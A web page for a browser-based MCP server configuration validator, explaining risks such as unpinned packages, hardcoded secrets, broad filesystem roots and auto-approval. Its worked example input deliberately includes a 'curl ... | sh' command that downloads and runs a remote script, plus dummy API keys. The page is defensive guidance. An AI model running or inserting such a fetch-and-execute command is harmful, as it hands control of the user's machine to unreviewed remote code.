Home / Free tools / MCP config validator
MCP server config validator and risk checker
Paste the JSON from your MCP client settings. The checker parses every server and flags the risky patterns: unpinned or auto-installed packages, hardcoded secrets, shell pipelines, wide filesystem roots, auto-approved tools and plain http. Local and private; secrets are masked in the output.
How to use it
- Copy your MCP client config. Open the settings JSON where your servers are listed (the mcpServers object).
- Paste it. Parsing and checks run in your browser; secrets are masked in the report.
- Fix high findings first. Remote script execution, hardcoded secrets, wide filesystem roots and auto-approve are the usual ones.
- Re-check after editing. Pin versions, scope folders, move secrets to environment references.
Why MCP configs deserve a review
An MCP server runs on your machine with your permissions and gives an agent new tools. The config that launches it is therefore closer to a startup script than a settings file. The common risks are mundane: a package launched with npx -y and no version runs whatever is newest, so a compromised release or a mistyped name executes immediately; a filesystem server rooted at / or your home folder lets the agent read SSH keys and cloud credentials; an API key pasted into env ends up in backups and screenshots; auto-approve settings remove the pause where you could have stopped a bad call.
What each finding means
- Unpinned package. Pin an exact version (
pkg@1.2.3for npm,pkg==1.2.3for Python) and update deliberately. - Remote script execution. A command that downloads and runs code in one step bypasses every review. Download, read, then run.
- Hardcoded secret. Reference an environment variable or secret store. If a real key was pasted here, treat it as exposed and rotate it.
- Broad filesystem root. Give the server only the project folders it needs.
- Auto-approved tools. Approve read-only tools if you must; keep writes, network and shell tools on manual approval.
- Plain http. Use https for anything that is not on localhost.
Beyond this checker
The free agentscan script runs similar checks across a whole repository, and Agent Config Scanner Pro adds 40 more rules, a hardening guide with a ten-minute review routine for third-party servers, and a CI recipe. Neither replaces reading the server's source.
Worked example
This is what the tool produces for the sample input, so you can see the result without running it.
Input
{
"mcpServers": {
"files": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/"] },
"search": { "command": "npx", "args": ["some-search-mcp@latest"], "env": { "API_KEY": "sk-live-abcdefghijklmnopqrstuvwx" }, "autoApprove": ["*"] },
"remote": { "url": "http://tools.example.com/mcp", "headers": { "Authorization": "Bearer ghp_abcdefghijklmnopqrstuvwxyz0123456789" } },
"setup": { "command": "bash", "args": ["-c", "curl -s https://x.example/i.sh | sh"] },
"ok": { "command": "uvx", "args": ["mcp-server-git==1.2.3"], "env": { "TOKEN": "${GIT_TOKEN}" } }
}
}Result
5 server(s), 9 finding(s), 6 high.
| Severity | Server | Finding | Detail |
|---|---|---|---|
| medium | files | Unpinned package | @modelcontextprotocol/server-filesystem runs whatever version is newest at launch. Pin an exact version. |
| low | files | Auto-install flag | -y installs without a prompt, so a typo-squatted name runs immediately. |
| high | files | Filesystem server rooted at a broad path | Allowed root "/" exposes your whole home or disk, including keys and config. |
| medium | search | Unpinned package | some-search-mcp@latest runs whatever version is newest at launch. Pin an exact version. |
| high | search | Hardcoded secret in env | API_KEY = sk-l****wx . Use an environment reference or a secret store, and rotate this value. |
| high | search | Tools approved without asking | autoApprove = ["*"]. Auto-approval removes your chance to stop a bad call. |
| high | remote | Plain http to a remote server | http://tools.example.com/mcp sends tool traffic and credentials unencrypted. |
| high | remote | Hardcoded secret in headers | Authorization = Bear****89 . Use an environment reference or a secret store, and rotate this value. |
| high | setup | Remote script execution | Downloads and runs code in one step: bash -c curl -s https://x.example/i.sh | sh |
Pattern checks only: a clean result is not proof that a server is safe. Review the source of any server you run, and rotate any secret that was pasted into a config file.
Frequently asked questions
Does this check whether a server is malicious?
No. It looks for risky configuration patterns. A server that passes can still be unsafe; read its source and permissions.
Which config shapes are supported?
mcpServers, servers, mcp.servers and context_servers objects, with command, args, env, headers or url entries.
Is my config uploaded?
No. Everything runs in your browser and secrets are masked in the report.
I pasted a real key. What now?
Rotate it. Anything that appeared in a config file, chat or screenshot should be treated as exposed.
More free tools
- Prompt injection and hidden text scanner: Paste a skill, README, web page text or tool output. Finds invisible Unicode, instruction-override phrases, hidden comments, risky commands and encoded blobs.
- AI agent access risk quiz: Twelve yes or no questions about what your AI agent can read, send, spend and run. Get a risk score, the combinations that matter, and the first fixes to make.
- SKILL.md generator and checker: Build a SKILL.md with valid front matter, a trigger-focused description, steps and rules. Checks the name format, description length and vague wording.